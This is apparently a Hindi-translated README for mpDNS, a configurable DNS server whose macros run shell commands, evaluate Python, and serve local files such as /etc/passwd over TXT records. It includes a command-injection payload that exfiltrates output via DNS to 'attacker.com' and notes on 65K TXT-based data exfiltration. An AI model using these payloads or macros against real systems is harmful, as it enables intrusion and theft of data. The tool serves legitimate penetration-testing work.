
बहुउद्देशीय DNS सर्वर
सरल, कॉन्फ़िगरेबल DNS सर्वर जिसमें कई उपयोगी सुविधाएँ हैं
{{shellexec::dig google.com +short}} -> शेल कमांड निष्पादित करें और परिणाम के साथ उत्तर दें{{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> अपना पायथन कोड मूल्यांकित करें{{file::/etc/passwd}} -> स्थानीय फ़ाइल सामग्री के साथ उत्तर दें{{filelist::/somefile.list}} -> पंक्ति दर पंक्ति कई परिणामों के साथ उत्तर दें{{resolve}} -> DNS अनुरोध को स्थानीय सिस्टम DNS पर अग्रेषित करें{{resolve::example.com}} -> मूल रिकॉर्ड के बजाय example.com को हल करें{{echo}} -> पीयर पते के साथ वापस उत्तर दें{{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> चरों का उपयोगमुख्य रूप से https://github.com/circuits/circuits/blob/master/examples/dnsserver.py पर आधारित
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db
अब आप names.db.example के आधार पर names.db में अपने DNS रिकॉर्ड भरने के लिए तैयार हैं
उपयोग: ./mpdns.py
./mpdns.py -e का उपयोग करके names.db में DNS रिकॉर्ड संपादित करें, पुनरारंभ की आवश्यकता नहीं है/ping.php?ip=$(dig $(whoami).attacker.com))TXT क्वेरी में आसानी से 65K डेटा घुसपैठ करेंTXT रिकॉर्ड पर लागू होती है जो 256 बाइट्स के चंक्स में विभाजित होते हैं जब तक प्रतिक्रिया अधिकतम अनुमत 65200b तक नहीं पहुँच जाती{{file:localfile.txt}} वाला TXT रिकॉर्ड 65200 बाइट्स तक सीमित है।test.*.example.com के लिए समर्थन नहीं है{{resolve::example.com}} मैक्रो में कस्टम DNS सर्वर रिज़ॉल्वर के लिए समर्थन नहीं हैTTL हमेशा 0 पर सेट होता हैnames.db उदाहरण:
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
passwd.example.com TXT {{file::/etc/passwd}} #comments are ignored
shellexec TXT {{shellexec::whoami}}
eval TXT {{eval::import random; res = random.randint(1,500)}}
resolve1 A {{resolve}}
resolve2 A {{resolve::self}} #same as previous
resolve3 A {{resolve::example.com}}
blabla.com A 5.5.5.5
* A 127.0.0.1
*.example.com A 7.7.7.7
c1.example.com CNAME c2.example.com
c2.example.com CNAME c3.example.com
c3.example.com CNAME google.example.com
google.example.com CNAME google.com
test.example.com A 8.8.8.8
google.com A {{resolve::self}}
notgoogle.com A {{resolve::google.com}}
DB से सामान्य रिज़ॉल्यूशन: dig test.example.com @localhost
;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8
mpDNS आउटपुट: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)
पुनरावर्ती CNAME रिज़ॉल्यूशन: dig c1.example.com @localhost
;; QUESTION SECTION:
;c1.example.com. IN A
;; ANSWER SECTION:
c1.example.com. 0 IN CNAME c2.example.com.
c2.example.com. 0 IN CNAME c3.example.com.
c3.example.com. 0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com. 0 IN A 216.58.206.14
mpDNS आउटपुट:
- Request from 127.0.0.1:44120 -> c1.example.com. -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME)
- Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)
वाइल्डकार्ड रिज़ॉल्यूशन: dig not-in-db.com @localhost
;; ANSWER SECTION:
not-in-db.com. 0 IN A 127.0.0.1
mpDNS आउटपुट: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)
वाइल्डकार्ड उपडोमेन रिज़ॉल्यूशन: dig wildcard.example.com @localhost
;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7
mpDNS आउटपुट: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)
अग्रेषण अनुरोध मैक्रो: dig google.com @localhost
;; ANSWER SECTION:
google.com. 0 IN A 172.217.22.110
mpDNS आउटपुट: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)
कस्टम डोमेन मैक्रो का अग्रेषण अनुरोध: dig notgoogle.com @localhost
;; ANSWER SECTION:
notgoogle.com. 0 IN A 172.217.22.110
mpDNS आउटपुट: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)
TXT क्वेरी के माध्यम से फ़ाइल सामग्री मैक्रो: dig txt passwd.example.com @localhost
;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
mpDNS आउटपुट: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)
TXT क्वेरी के माध्यम से कस्टम पायथन कोड मैक्रो: dig txt eval @localhost
;; ANSWER SECTION:
eval. 0 IN TXT "320"
mpDNS आउटपुट: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)
TXT क्वेरी के माध्यम से शेल कमांड मैक्रो: dig txt shellexec @localhost
;; ANSWER SECTION:
shellexec. 0 IN TXT "root"
mpDNS आउटपुट: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)
मज़े करें!